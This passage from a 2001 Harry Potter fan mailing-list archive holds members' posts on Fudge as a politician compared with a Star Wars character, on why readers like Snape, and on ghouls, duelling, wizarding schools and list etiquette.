down, despite appearing to merely look out for his own position.

The parallels here between their situation, and that with 'our 
heroes' (Harry, Hermione, Ron, Dumbledore) fighting Voldemort and his 
supporters and dealing with Fudge are, IMHO, quite strong. As well as 
the obvious - at war, evil enemy and slimy politician - whilst in SW 
their enemy (the Yuuzhan Vong) are anti-technology, in HP Voldemort 
is anti-Muggles and neither are content with merely destroying the 
object of their hatred they also want to destroy all who associate 
with it. Also, Fey'lya(SW) and Fudge(HP) are such similar characters 
that I felt I had to share these quotes with the group, as they show 
the SW characters' insights on Fey'lya which I feel could apply 
equally well to Fudge.
  
"I have my disagreements with him, obviously, but he's trying to save 
the New Republic, in his own way. A civil war can only make us 
weaker." - Luke Skywalker
"Not if we can make it quick and painless. Not if we have real 
leadership when it's over, rather than the fractured squabbling crowd 
that's got us sitting on our thumbs." - Jaina Solo

Here Luke's analysis of Fey'lya's actions are very similar to 
Dumbledore's comments on Fudge's behaviour at the end of GoF, whilst 
Jaina's comments echo the opinions of many HP fans, as well as what 
H/R/Hr appear to be thinking. Do you agree with the belief that 'a 
civil war can only make us weaker' or the standpoint of 'if we can 
get in a proactive leadership quickly then things will be better'?
IMHO the last thing either universe needs is a dispute over who to 
lead them against the enemy. Do you think that Dumbledore, or one of 
his 'supporters' could lead a coup against Fudge without weakening 
them, even temporarily, in the battle against the Big V?  

"That was uncommonly stupid...even for Fey'lya. Do you think our 
chief of state is working with the Peace Brigade?" - Kyp Durron

Again, this seems to be a fair comparison to many people's thoughts 
on Fudge, denying that Voldemort could possible have risen again, and 
ignoring the evidence pointing to many of his DE's is 'uncommonly 
stupid.' Here, as in GoF, people are questioning whether or not such 
incompetence is merely a front to hide his treachery. Is it actually 
fair to assume that simply because Fudge is doing what many 
politicians do (i.e. hiding his head in the sand) that he could, in 
fact, be secretly supporting the other side?

"Hamner thinks the whole thing was a ploy engineered to get me away 
from Coruscant...Borsk Fey'lya has never been one of our strongest 
supporters, but I can't see him thinking that arresting me would 
solve any of his problems..." - Luke Skywalker

Although this quote might seem to fit my point less than the others, 
I think it is one that could be relevant to something several people 
on list have predicted, that is Dumbledore being removed as 
Headmaster. He implies a threat of this in his comments to D at the 
end of GoF, and I can see it happening. To those supporters of the 
Big V it would seem that he is acting on their concerns by removing 
a 'Muggle-loving-fool' but as a political move it would actually be 
quite canny, by removing Dumbledore from a position which is, at 
least in part, in the public eye those against D will believe him to 
be out of the picture completely but D can continue to act against V 
(which is in Fudge's best interests)and it will seem that his actions 
are unsanctioned from the MoM. Fudge has deniability, and is 
protected from the consequences of D's actions should he fail.

"I know you don't care for Chief Fey'lya. I don't either. But he 
isn't a traitor and he's not stupid...But he <i>is</i> a politician, 
and he thinks he can play that game better than (the Yuuzhan Vong) 
can. Everything he's doing is aimed at buying time...Fey'lya will 
never order a strike while (they) are quiescent. He'll maintain the 
illusion of truce as long as he can." - Wedge Antilles

This last quote seems to me to sum up Fudge completely. He ~isn't~ a 
traitor, he ~isn't~ stupid, but he ~is~ a politician. Like Fey'lya he 
wants to maintain an illusion, in his case one of peace. He isn't 
prepared to make a move, to destroy the peace that the magical 
community is enjoying until he absolutely has to. He will never order 
a strike until it is impossible to hide the fact that Voldemort has 
returned. And like Fey'lya, Fudge wants to buy time. I think that 
Fudge ~does~ believe that the Big V is back, but by refusing to admit 
the truth openly, he buys time for them to prepare 'behind the 
scenes'.




From moreta at technologist.com  Tue Sep  4 23:18:35 2001
From: moreta at technologist.com (Susan Keaney (Navarro))
Date: Tue, 04 Sep 2001 23:18:35 -0000
Subject: Hugo Award
In-Reply-To: <F141kOF7Vlsj2A1Ikle00002baf@hotmail.com>
Message-ID: <9n3ngb+qhtu@eGroups.com>

No: HPFGUIDX 25580

Not a problem....  The ceremony was taped but I do not know of any 
plans to televise it currently.  Unfortunately, JKR was not there to 
accept the award personally (we were hoping, but.....).  And there was 
much carrying on when she was announced the winner.  :D

Susan.

--- In HPforGrownups at y..., "Ali Wildgoose" <diagonalley_ at h...> wrote:
> 
> >For those that are interested, J. K. Rowling's "Harry Potter and 
the
> >Goblet of Fire" was awarded the Hugo Award for Best Novel tonight.
> 
> wow, really?  *grins*  That's great!!  Was this a televised event?  
Was Jo 
> there to accept the award in person?  Was there an appropriate 
ammount of 
> cheering and crying and carrying on?
> 
> Ali
> 
> http://home.nyu.edu/~amw243 :: Diagon Alley
> Harry Potter for Slightly Older Folk
> 
> _________________________________________________________________
> Get your FREE download of MSN Explorer at 
http://explorer.msn.com/intl.asp




From Zarleycat at aol.com  Wed Sep  5 00:07:03 2001
From: Zarleycat at aol.com (Zarleycat at aol.com)
Date: Wed, 05 Sep 2001 00:07:03 -0000
Subject: Duelling
In-Reply-To: <9n1p6f+5rng@eGroups.com>
Message-ID: <9n3qb7+jkrs@eGroups.com>

No: HPFGUIDX 25581

--- In HPforGrownups at y..., prefectmarcus at y... wrote:
> Has anybody noticed the duelling theme in the books?  In each of 
the 
> books except HP3 PoA, we have references to duelling.
> 
> In Book #1, Malfoy challenges Harry to a duel.  This is our first 
> introduction to the concept of wizards duelling.
> 
> Book #2, we have the Duelling Club.
> 
> In Book #4, we have the graveyard scene.
> 
> Question, what is JKR setting us up for?
> 
> Marcus

There is one reference to dueling in PoA.  When McGonagall, Flitwick, 
Hagrid and Fudge are at the Three Broomsticks, discussing Sirius 
Black's treachery, McGonagall says of Peter Pettigrew "...foolish 
boy...he was always hopeless at dueling..."

As far as what JKR's future intent is,  maybe she'll give us an 
honest-to-goodness duel between two powerful, evenly matched 
wizards.  It's not something we've seen yet.  I can't put Harry's 
graveyard duel against V. in that category because Harry was 
handicapped by the confusion and horror of the situation.  Plus, 
Harry probably doesn't have enough knowledge of or experience in 
dueling to be able to compete with V. in an actual duel.  

Marianne




From ochfd42 at yahoo.com  Wed Sep  5 00:31:15 2001
From: ochfd42 at yahoo.com (Angela Boyko)
Date: Tue, 4 Sep 2001 20:31:15 -0400 (EDT)
Subject: [HPforGrownups] Several Comments on the past Week's Digests
In-Reply-To: <20010902.000728.-377603.4.mindyatime@juno.com>
Message-ID: <20010905003115.8183.qmail@web11704.mail.yahoo.com>

No: HPFGUIDX 25582


--- "Mindy, a.k.a. CLH" <mindyatime at juno.com> wrote:
> Well, going through 21 digests in one shot has given
> me a LOT to think
> about. I just want to make a few minor comments.

You're braver than I am. I looked at the 300 +
messages, skimmed a bit, then deleted the whole lot.
I'm running a fever, I just don't have the stamina!

> Let me ask you for your opinion, ladies & gents:  If
> I would today get a
> letter, say, from Hogwarts tha my child was a wizard
> and Hogwarts were
> inviting him or her to the school, I would throw it
> out without a second
> glance. I'd never, ever believe that it was genuine.
> I'd view it as a
> prank. What about you?

Well, if an owl delivered it, I'd open it! Maybe the
letters to Muggle born children are delivered in such
a way that the parent knows it legit?

> A comment about Harry's Christmas Presents: How did
> he always get stuff
> from the Dursleys by owl? Did Hedwig travel to the
> Dursleys with a note
> attached to its claw, "Please return me with a gift
> for Harry?" If I were
> Vernon & Petunia I'd probably be laughing my head
> off and I would
> probably also send nothing more than a tissue,
> toothpick, etc. Why do you
> think Hedwig went there in the first place to ask
> for a gift?

Maybe they mailed it to a Wizard post office and
Hedwig picked it up from there?

Angela

=====
* * * http://www.geocities.com/SoHo/4439/index.html * * *
               May the Force be with you

_______________________________________________________
Do You Yahoo!?
Get your free @yahoo.ca address at http://mail.yahoo.ca



From mlmnb at msn.com  Wed Sep  5 00:51:52 2001
From: mlmnb at msn.com (mlmnb)
Date: Tue, 4 Sep 2001 20:51:52 -0400
Subject: netiquette
Message-ID: <001301c135a5$073563e0$5ad7fea9@oemcomputer>

No: HPFGUIDX 25583

To Penny and the Moderators:
Thanks for the refresher!

I haven't posted for quite a while, there are so many posts, I find I'm
playing catch up.

Thanks for addressing something that has bothered me of late--the length of
the "snippets".
Most seem to be much more than snips, almost the entire related post
repeated and then the response.  If you're keeping up, and it seems most of
us are (unless on vacation) you know which previous post is being responded
to without a blow-by-blow.  Here's to recaps, it will cut down
on the scrolling!

Dane, Ravenclaw






From margdean at erols.com  Wed Sep  5 00:23:41 2001
From: margdean at erols.com (Margaret Dean)
Date: Tue, 04 Sep 2001 20:23:41 -0400
Subject: [HPforGrownups] Snape -- Why so many fans?
References: <9n3mpv+p484@eGroups.com>
Message-ID: <3B95708D.6644B8A6@erols.com>

No: HPFGUIDX 25584

justanopinion2001 at hotmail.com wrote:
 
> Yes, he saved Harry in PS/SS, and yes, it looks like he's on
> Dumbledore's team.  But what are the Snape Fans seeing that I am
> missing?  Would someone care to explain this?

I'm not sure I'd qualify as a Snape "fan" in the sense that I
might easily qualify as a Lupin "fan" (I don't have the same, er,
fantasies about the former as I do about the latter, for
instance), but as a character I find him extraordinarily
interesting precisely because of that antithesis of "YES he's
mean and nasty and unpleasant BUT he's on Our Side."  It's the
contrast of dark and light and the interplay between admirable
and despicable traits in a single person that gives him so much
depth -- depths we're only beginning to see into.  Sirius and
Remus both have secrets, but once the reader knows these, their
motivations are pretty clear.  Snape's history and motivations
remain a mystery, and many of us love a mystery.

Of course, what with the movie coming out and the actor with one
of the sexiest voices in creation being cast as Snape, other
factors may begin to enter in as well . . .


--Margaret Dean
  <margdean at erols.com>



From pbnesbit at msn.com  Wed Sep  5 01:21:54 2001
From: pbnesbit at msn.com (pbnesbit at msn.com)
Date: Wed, 05 Sep 2001 01:21:54 -0000
Subject: Ghoulish musings,
In-Reply-To: <20010904130304.3D46A1C397@postfix1.ofir.com>
Message-ID: <9n3uni+o45c@eGroups.com>

No: HPFGUIDX 25585

--- In HPforGrownups at y..., Tim Kronsell <timkronsell2 at o...> wrote:
> A Ghoul is a undead fiend who feeds upon human corpses.
> 
> The typical Hollywwod Zombie is actually closer to the traditional 
Ghouls than 
> the traditional Zombies.
> 
> The main difference is that while zombies a mindless automatons, 
the Ghouls 
> usually has some sort of selfconsious rudementiary intelligence.
> 
> Darreder- The man from the stars
> 
> ----------------------------------------------------
> From 'Fantastic Beasts and Where to Find Them' UK edition, pg. 18

Ghoul
M.O.M. Classification: XX

The ghoul, though ugly, is not a particularly dangerous creature.  It 
resembles a somewhat slimy, bucktoothed ogre, and generally resides 
in attics or barns belonging to wizards, where it eats spiders and 
moths.  It moans and occasionally throws objects around, but is 
essentially simple-minded and will, at worst, growl alarmingly at 
anyone who stumbles across it.  A Ghoul Task Force exists at the 
Department for the Regulation and Control of Magical Creatures to 
remove ghouls from dwellings that have passed into Muggle hands, but 
in wizarding families the ghoul often becomes a talking point or even 
a family pet.  


Doesn't sound too dangerous to me, although I wouldn't want one in my 
attic (or barn either, for that matter).  

Peace & Plenty, 

Parker 




From mindyatime at juno.com  Wed Sep  5 01:21:56 2001
From: mindyatime at juno.com (Mindy, a.k.a. CLH)
Date: Tue, 4 Sep 2001 21:21:56 -0400
Subject: How the British gov't may view the Magicians
Message-ID: <20010904.212353.-501715.22.mindyatime@juno.com>

No: HPFGUIDX 25586

Katherine wrote:

"  There was a bit where Fudge had notified the British Prime 
Minister about Sirius.  I wonder what the PM thought about the Minister
of 
Magic?  Or, does that just fit into the rest of the British political
system?"

I think the fair answer to this would be -- no offense to the HP universe
-- that the British gov't proabably views the Magical Community as some
wacky cult or subculture group and does not care whether they use owl
post or fly on broomsticks -- just as the US Gov't doesnt care that the
Amish (no offense, I don't include th em as a cult!) use buggies or
wells. However, if an Amish murderer (I doubt they have them!) goes
berserk, the US gov't must know this. Or if another cult/subculture would
have a gangster running amok, they'd have to inform the governing police
of the area. the british gov't probably views the magical community as a
group of oddballs, idiots, weirdos, and crackpots, and doesn't give them
a moment's thought.
________________________________________________________________
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Join Juno today!  For your FREE software, visit:
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From mellienel2 at yahoo.com  Wed Sep  5 01:28:11 2001
From: mellienel2 at yahoo.com (mellienel2 at yahoo.com)
Date: Wed, 05 Sep 2001 01:28:11 -0000
Subject: Ghoulish musings,
In-Reply-To: <9n3uni+o45c@eGroups.com>
Message-ID: <9n3v3b+dbvv@eGroups.com>

No: HPFGUIDX 25587


> Ghoul
> M.O.M. Classification: XX
> 
> The ghoul, though ugly, is not a particularly dangerous creature.  
It 
> resembles a somewhat slimy, bucktoothed ogre, and generally resides 
> in attics or barns belonging to wizards, where it eats spiders and 
> moths.  It moans and occasionally throws objects around, but is 
> essentially simple-minded and will, at worst, growl alarmingly at 
> anyone who stumbles across it.  A Ghoul Task Force exists at the 
> Department for the Regulation and Control of Magical Creatures to 
> remove ghouls from dwellings that have passed into Muggle hands, 
but 
> in wizarding families the ghoul often becomes a talking point or 
even 
> a family pet.  

The thing I wonder about the ghoul is not whether or not it's 
dangerous, but whether it knows things. How scabbers got to live with 
the Weasleys? Other things about the past? Who knows. It could very 
well be just a harmless scene-setter JKR threw in about the Burrow. 
But we know her scene-setters can often be violently important plot-
bits, dont we? :-)




From elbereth at di.org  Wed Sep  5 01:33:08 2001
From: elbereth at di.org (Elbereth)
Date: Tue, 04 Sep 2001 21:33:08 -0400
Subject: Wizard demographics? 
Message-ID: <3.0.5.32.20010904213308.009c5e40@di.org>

No: HPFGUIDX 25588

Magpie wote:
>It could be that North Am. is home to many small schools.  I'd think 
>there would be smaller schools scattered throughout Canada, Mexico 
>and the US.  But in terms of a big, "important" school (to rival 
>Hogwarts) I'm banking on Canada.  There's lots of space to tuck away 
>a large wizarding school in the western areas of Canada, so it would 
>be perfect.  And since Hogwarts is probaby in Scotland rather than 
>England, I'd bet a North Am. school would also be up north.  It would 
>still give us Americans all kinds of possibilites with the smaller 
>schools (surfer wizards in Santa Cruz, CA!  "traditionalist" witches 
>in Salem, MA!)  Just a thought.

*chuckle*  Okay, I'll go with that:  big schools and little schools, why
not?  May I please restate my hypothesis to say that I'm just counting
*large* wizarding schools?   ;-]

BTW, I must point out that there's no "probably" about Hogwarts being in
Scotland!  In CoS, "Mr. Angus Fleet, of Peebles ..." reported seeing the
flying Ford Anglia.  Peebles is definitely in Scotland, about (roughly)
25km south of Edinburgh -- and at the point, the boys are still flying
north, following the Hogwarts Express.  No question at all, Hogwarts is in
Scotland.

BlueEyedTigress (of Scottish roots)  ;-]



From hoshi_hime55 at hotmail.com  Wed Sep  5 01:38:09 2001
From: hoshi_hime55 at hotmail.com (hoshi_hime55 at hotmail.com)
Date: Wed, 05 Sep 2001 01:38:09 -0000
Subject: Slytherin composition (was Re: Draco is Evil)
In-Reply-To: <20010831021326.59647.qmail@web13802.mail.yahoo.com>
Message-ID: <9n3vm1+97ae@eGroups.com>

No: HPFGUIDX 25589

--- In HPforGrownups at y..., "Alexandra Y. Kwan" <litalex at y...> wrote:
> Talking about that, are there no Muggle-born or
> 'half-blood' currently in Slytherin?  I assume they'd
> take offense to Draco continually mouthing them off if
> there are, but the Slytherin table always seems
> so...filled with commaradie.

  I'm sure that somewhere in Slytherin, in Harry's year or not, there 
must be a Muggle-born or half-blood student since the Sorting Hat 
probably wouldn't care whether the student was pure-blood or not and 
there must be some Muggle-borns who are clever and have ambition. And 
I'm sure they're annoyed with Draco's comments but I guess they 
tolerate him due to the fact that he's a housemate. Maybe they even 
know his redeeming qualities.
 
  As for the password, remember that that was in their second year 
and there was a monster crawling around attacking Muggle-borns. 
Maybe "pureblood" was picked to show the Heir of Slytherin that 
Slytherin still holds high stakes in the purity of blood. And I doubt 
that Prof. Snape picked the password; it would be a bad sign if a 
former Death Eater started discriminating against Muggle-born 
students and I'm sure Snape wouldn't want to be suspected of 
rejoining the DEs. But a prefect with a simalar backround as Draco 
might have. And the doors and aspects of the building at Hogwarts 
have been known to not allow certain people in or move around or 
things like that so perhaps the wall itself choose the password. It 
is Hogwarts; you never really know.

By the way, if you're looking for some pro-Slytherin fanfiction (it's 
not as terrible as it sounds) in which Muggle-borns are in the house, 
than I highly recommend J. L. Matthews' wonderful Slytherin Rising 
series. It's on Fanfiction.net and Schnoogle.com if you're interested.

Retreating back into lurkdom,
Procyon White






From bookraptor11 at yahoo.com  Wed Sep  5 01:45:05 2001
From: bookraptor11 at yahoo.com (bookraptor11 at yahoo.com)
Date: Wed, 05 Sep 2001 01:45:05 -0000
Subject: Snape -- Why so many fans?
In-Reply-To: <9n3mpv+p484@eGroups.com>
Message-ID: <9n4031+ica3@eGroups.com>

No: HPFGUIDX 25590

--- In HPforGrownups at y..., justanopinion2001 at h... wrote:
> My biggest surprise as a newbie has been all the adoration for 
> Snape.  I've read a LOT of posts about him on this board and 
> SNAPEFANS, and I haven't gotten a good feeling about why people 
would 
> be nuts about him the way others are about Lupin or Black.
  
I'm also a newbie, and I apologize if I should have introduced myself 
before replying to a post.  When I saw this I felt compelled to reply.

While I don't consider myself a Snape fan, my interest in him was 
heigtened by the revelation in GOF that he's on Dumbledore's team. It 
makes him a more interesting character than someone who is outright 
evil or outright good.  Though he's fighting for good, he's not a 
very "good" person.  By that, I mean he's unpleasant and sarcastic 
and jealous of others. It's what helps make JKR's books so appealing, 
you have a more complete spectrum of humanity than is usual in 
children's books.  Not everyone who is good is likeable. Someone can 
seem nice, yet be evil. Hagrid is good, but his poor judgement can 
cause bad things to happen. A character like Pettigrew can cause 
great evil, but without Voldemort to follow he probably would have 
lived out his life never doing anything of significance either way.


In conclusion, while not a Snape fan, I do feel an admiration for 
him. He's voluntarily put himself in a very dangerous position. 

Donna




From john at walton.to  Wed Sep  5 01:57:13 2001
From: john at walton.to (John Walton)
Date: Tue, 04 Sep 2001 21:57:13 -0400
Subject: ADMIN: Re: Why Combine Posts? (was: Re: ADMIN: Refresher)
In-Reply-To: <9n3ma3+32m7@eGroups.com>
Message-ID: <B7BAFEB9.102F%john@walton.to>

No: HPFGUIDX 25591

>> --- In HPforGrownups at y..., Penny & Bryce <pennylin at s...> wrote: DO NOT post
>> tons of messages each day; *COMBINE* your shorter replies into a single
>> message.  This helps keep our volume down!!
 
justanopinion2001 at hotmail.com said:

> Not to cause trouble or anything, but why is it important to keep
> message volume down?  If someone submits a thoughtful reply instead
> of a one-liner, and uses an appropriate header, why should they have
> to cram a bunch of unrelated topics into one giant post?  Also, if
> someone is responding to post No. 25,000, 25,005 and 25,008, and they
> put all of their thoughts into No. 25,000, then someone who tries to
> read the entire discussion on the other two threads will miss their
> input.  

No, not at all. When you combine posts you include a subject line pertinent
to all threads in your post. For instance, "SHIP: R/H sucks! -- Why I Love
Flobberworms -- Ron IS Evil" would be a subject line for a post containing
your views on Ron/Hermione (based on the books, not fic!), the relative
merits of Flobberworms and your views on Evil!Ron.

The reason is that it cuts down on bandwidth lag time in two ways:

a) People who get email only have to download one mail instead of three,
which is always faster -- each email has additional routing "fluff" stuck on
it by your ISP and YahooGroups adds the useful footer with links to the
group files.

b) People who use web view only have to open one page instead of three --
less time due to only one banner ad, only one bunch of Yahoo
headers/graphics etc.

Hope this helps.

For the HPforGrownups Moderators,

--John

__________________________________________

John Walton / Crazy Ivan
     HPforGrownups Moderator With Rock #47

@     john at walton.to
YM     johnwalton_crazyivan
ModMail     hpforgrownups-owner at yahoogroups.com

READ OUR ADMIN FILES!
http://groups.yahoo.com/group/HPforGrownups/files/Admin%20Files/
__________________________________________





From keegan at mcn.org  Wed Sep  5 02:29:58 2001
From: keegan at mcn.org (Catherine Keegan)
Date: Tue, 04 Sep 2001 19:29:58 -0700
Subject: Fudge - evil or just a moron 
In-Reply-To: <9n3ng3+m8hu@eGroups.com>
References: <4.2.0.58.20010903204358.00abc100@mail.mcn.org>
Message-ID: <4.2.0.58.20010904190441.00a54550@mail.mcn.org>

No: HPFGUIDX 25592

At 11:18 PM 9/4/01 +0000, you wrote:
> > >9) Fudge - secretly evil or just a moron?
>I responded:  Worse.  I think he's a politician.  Various comments about his
>career and generous contributions by the Malfoys make him sound like
>your garden variety politician.

Aleks replies with a bunch of very interesting stuff about the similarities 
of plot lines in the SW and HP universes which I have unfortunately snipped 
a bunch of for brevity's sake...

>Do you agree with the belief that 'a civil war can only make us weaker' or 
>the standpoint of 'if we can
>get in a proactive leadership quickly then things will be better'?
>IMHO the last thing either universe needs is a dispute over who to
>lead them against the enemy. Do you think that Dumbledore, or one of
>his 'supporters' could lead a coup against Fudge without weakening
>them, even temporarily, in the battle against the Big V?

I love this stuff!  I think that the best plot line (and that's what we're 
hoping for, right?) will be a combination of both.  Most of the adult 
wizard population does not want to hear that V is back.  I can understand 
where Fudge is coming from there.  Being the guy in charge when such a 
thing happens will forever link your name to it which is not good 
politically.

Being the person who leads a coup against the guy in charge who is (at the 
time) associated with a trouble-free era is not going to make you 
well-loved.  Fudge should be perceived by most as an ok if not good leader.

JKR has gotten some wonderful digs in at the government and justice system 
(I loved it when Ludo shows up in his Quidditch robes to testify.  Had to 
put the book down while I laughed)  I'm really hoping for an involved study 
of the nuts and bolts of the MoM system, who's in power, which DEs are 
there (other than Lucius) and how V might manipulate the whole.

>that is Dumbledore being removed as
>Headmaster. He implies a threat of this in his comments to D at the
>end of GoF, and I can see it happening. To those supporters of the
>Big V it would seem that he is acting on their concerns by removing
>a 'Muggle-loving-fool' but as a political move it would actually be
>quite canny, by removing Dumbledore from a position which is, at
>least in part, in the public eye those against D will believe him to
>be out of the picture completely but D can continue to act against V
>(which is in Fudge's best interests)and it will seem that his actions
>are unsanctioned from the MoM. Fudge has deniability, and is
>protected from the consequences of D's actions should he fail.

This alone could account for an entire book, maybe two!   The question of 
who would be put in charge of Hogwarts and how they affect the students and 
other teachers will be quite interesting, too.  Some how I don't see 
Professor McGonagall getting the post automatically.  Isn't the headmaster 
slot appointed?  Lucius tried to get rid of Dumbledore with an order of 
suspension signed by the 12 governors in CS.  If enough of the governors 
were in V's corner, he could appoint his own headmaster and help shape a 
new generation.

Thanks for such a great post, Aleks!  Must be time to continue rereading 
the series - I shall ignore the amused commentary from the spousal unit and 
enjoy the heck out of it!

Catherine in CA


Albion Works
Furniture, Clothing, and Accesories
For the Medievalist!
www.albionworks.net



From litalex at yahoo.com  Wed Sep  5 03:03:13 2001
From: litalex at yahoo.com (Alexandra Y. Kwan)
Date: Tue, 4 Sep 2001 20:03:13 -0700 (PDT)
Subject: [HPforGrownups] Re: Judging right & wrong in the Potterverse
In-Reply-To: <9n34g2+pga9@eGroups.com>
Message-ID: <20010905030313.66912.qmail@web13803.mail.yahoo.com>

No: HPFGUIDX 25593

Hello,

Sigh, this is getting so wildly ot...

--- fourfuries at aol.com wrote:
> The only way to be sure that a proposed action is in
> fact good is for 
> there to be an objective measure of goodness by
> which to judge.

Oh, gods, not Platonic 'Ideas' again.  Sorry, I have
about up to here with Plato and his ideas.  Me, I'd
rather take Sartre.

> ultimately Good will prevail regardless of whether
> any particular 
> individual chooses to help out or not.  I mean,

Even if I'm accepting your view of absolute good and
evil (which I don't), I think you're forgetting the
fact that the battle between 'Good' and 'Evil' has
been going on ever since humans existed and will no
doubt go on for eternity.  In fact, it *has* to go on
for eternity for the world to be on balance.

You can't have the day without the night, heat without
cold, even...Democrats without Republicans <g>.

> really, how else 
> could a baby defeat the greatest sorceror of all
> time, except it be 
> fated, in the stars, pre-destined, or the will of
> that we call God?

Ah, coincidences happen all the time and the baby
actually didn't defeat this great sorceror, its
mother's love did.

little Alex

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From lydaclunas at xfilesfan.com  Wed Sep  5 03:26:44 2001
From: lydaclunas at xfilesfan.com (Lyda Clunas)
Date: Wed, 05 Sep 2001 03:26:44 -0000
Subject: Snape -- Why so many fans?
In-Reply-To: <9n3mpv+p484@eGroups.com>
Message-ID: <9n461k+d4e1@eGroups.com>

No: HPFGUIDX 25594

Laura wrote:

> My biggest surprise as a newbie has been all the adoration for 
> Snape.  I've read a LOT of posts about him on this board and 
> SNAPEFANS, and I haven't gotten a good feeling about why people 
> would be nuts about him the way others are about Lupin or Black.
> 
> My recollections of Snape are pretty negative...

OK. As a self-professed and obvious Snapefan, I'm going to put 
forward my humble opinion on the subject, which, of course, is my 
favorite subjectmout of all the HP realm-- Snape.

Sure, we get a rather negative impression of Snape throughout the 
books, bolstered only by the few revelations about his character-- 
that he tried to save Harry, that he revoked the Death Eaters for 
Dumbledore. The rest of the time, he's mainly his sarcastic, sneering 
self.

True.

BUT, JKR herself mentions that one of the themes of her books is that 
prejudice and quick judgements are made in any society, even one that 
is magical; and that people should look past the surface. Thus, we 
see how Harry is deceived by such people as Fake!Moody, and Professor 
Quirrell, who appear to be good but are truly evil. Similarly, there 
is strong evidence that Harry is likewise deceived by Snape in 
thinking that he is evil when he is really on Dumbledore's side.

There is, to the Snapefan, a fair bit of evidence that Snape actually 
is a more emotional and passionate individual than he first appears. 
The Shrieking Shack scene, although not one of Snape's best moments, 
ephasizes that there is certainly more to him than meets the eye. His 
reactions in the Shack indicate an overwhelming capacity for strong 
emotion, although in this case, they are rather negative emotions, 
like anger and desire for vengeance. However, you've also got to take 
into account the fact that Snape really *did* believe that he was 
saving HH&R from a murderer; evidence that he does have the students 
at heart, even though he may appear to hate them. 

There are several other scenes, most of them very small, that 
indicate toward a decent Snape. He strongly grips the back of chair 
in CoS when he discovers that Ginny is kidnapped. He attempts to 
thwart Quirrel's Stone-stealing in PS; and in GoF, he performs what 
is possibly his best action ever, and reveals his Dark Mark to Fudge; 
and action that he was not required, or called upon to do, and which 
confirms his former allegiances; yet he does this anyway in hopes 
that it may sway Fudge's opinions and beliefs.

We Snapefans are crazy about this greasy guy because he's enigmatic, 
he's a great anti-hero, but he's also a "good guy". He's a fun 
character to speculate about; dark and mysterious, but with hope for 
redemption. He proves that the goodies don't necessarily have to be 
generally kind and good-natured.

Now, if you want to see a really excellent take on Snape as he might 
be through another's eyes (rather than Harry's) I would like to refer 
you to the Darkness and Light Trilogy by R.J. Anderson. It begins 
with "The Potions Master's Apprentice", continues in "Personal Risks" 
and will be concluding in "If We Survive". You can find all three at

http://www.sugarquill.com/authors/rjanderson.html

and at http://www.fanfiction.net under author R.J. Anderson.

They're also at Schnoogle, and I *highly* recommend them. Even if you 
don't really like Snape, they are still wonderful stories with 
excellent writing and great characterization. Go on. Read.

Lyda




From absinthe at mad.scientist.com  Wed Sep  5 04:21:56 2001
From: absinthe at mad.scientist.com (Milz)
Date: Wed, 05 Sep 2001 04:21:56 -0000
Subject: Snape -- Why so many fans?
In-Reply-To: <9n3mpv+p484@eGroups.com>
Message-ID: <9n4994+kacn@eGroups.com>

No: HPFGUIDX 25595

--- In HPforGrownups at y..., justanopinion2001 at h... wrote:
> My biggest surprise as a newbie has been all the adoration for 
> Snape.  I've read a LOT of posts about him on this board and 
> SNAPEFANS, and I haven't gotten a good feeling about why people 
would 
> be nuts about him the way others are about Lupin or Black.
> 
> My recollections of Snape are pretty negative:  he embarrassed 
Harry 
> on the first day of Potions.  He threatened to use truth serum on 
> Harry.  He tied up Lupin and tried to give Black to the Dementors.  
> He tried to expose Lupin as a werewolf by covering the topic in 
> Lupin's class, and when that didn't work, he blabbed it on 
purpose.  
> He ridicules Neville.  He mistreats Hermione.  He has called Harry 
a 
> liar at least once (Goblet of Fire).  
> 
> Yes, he saved Harry in PS/SS, and yes, it looks like he's on 
> Dumbledore's team.  But what are the Snape Fans seeing that I am 
> missing?  Would someone care to explain this?
> 

I've had the "pleasure" of being taught or precepted by several 
Snapes in my academic career, so Snape isn't my most fav of the 
characters. Simply put, Snape is an ass. He is verbally abusive to 
his students, creating a hostile learning environment. From my 
personal experience with Snapish teachers, studying is done largely 
out of fear of being yelled at or embarassed, rather than for the 
sake of the subject. Frankly, I would love to see Neville's gran take 
him down a peg or two (or four). No, scratch that idea. I would love 
to see a successful Neville come back to Hogwarts and take Snape down 
a peg or two (or four).


But as much as he is an ass, he's also a very complex character. He's 
a bad good-guy and his past affects his judgement and actions. I 
think that's what attracts his fans. Plus he has that "mis-
understood" hero thing going for him too.

Milz 




From catlady at wicca.net  Wed Sep  5 04:50:28 2001
From: catlady at wicca.net (Rita Winston)
Date: Tue, 04 Sep 2001 21:50:28 -0700
Subject: Veritaserum/Memory Charm - Mindy/Cindy - Riddle/Voldemort - Good/Evil - 
 Bagman - Women's Institute - Cho - Snape lovers - Muggle gov't
Message-ID: <3B95AF14.60158101@wicca.net>

No: HPFGUIDX 25596

Susan Hall wrote:

> therefore, if one of the wizards whose memory
> had been modified by Lockhart were then questioned
> under Veritaserum about whether they, or Lockhart
> had, for example, performed the werewolf task then
> they would be likely to say "Lockhart" because, 
> once their memories are modified, that would be 
> the truth to them. 

I agree with you and Heidi that a Veritaserum patient can tell only the
truth that is known to himer (otherwise, we could give ANYONE a dose of
Veritaserum and ask them all about the plots of the remaining three
books), but I'm not sure that Lockhart's Memory Charms are the best
example: we know that it is POSSIBLE to undo a Memory Charm, because
Voldemort undid the Memory Charm that Crouch Sr had put on Bertha
Jorkins. The possibility of undoing Memory Charms indicates that the
original, pre-modification memory still exists SOMEWHERE. Maybe
Veritaserum can access that original memory from wherever it is.

Mindy wrote:

> I'm NOT taking credit where credit isn't due....
> methinks Cindy wrote it.

Oops! Thanks, Mindy! Sorry, Cindy!

Tabouli wrote:

> the Voldemort of GoF is several stripes short of a 
> zebra (snip) What possessed you to concoct this 
> skinny snake-man body? (snip) And as for giving 
> Harry back his  wand...!  In my day, the *first*
> thing I did in the Chamber of Secrets was nab 
. Harry's wand *from* him, you fool!"  

ROTFL! Altho' I must acknowledge that 1) he has an excuse for looking so
hideous, if it is an unavoidable side-effect of the only way he can
become immortal, and 2) the Death Eaters, loving evil as they do,
probably love hideous as well.

Leslie, Snyder, Meri wrote:

> I agree that H/R/H/etc. are guided by fear of consequences. 

The choice that Dumbledore urges us to make is the choice BETWEEN
consequences: If Harry has to break a rule to interfere with Voldemort,
should he choose to lose points for Gryffindor or to allow Voldemort to
do the latest evil thing? If Cedric has to choose between: 1) living the
rest of his life with a sense of guilt over taking the Triwizard Cup
from Harry only besides of Harry saving him from the spider, or 2)
disappointing all his Hufflepuff friends as well as forgoing the fame
and money of being Triwizard Champion by telling Harry: "Go ahead, you
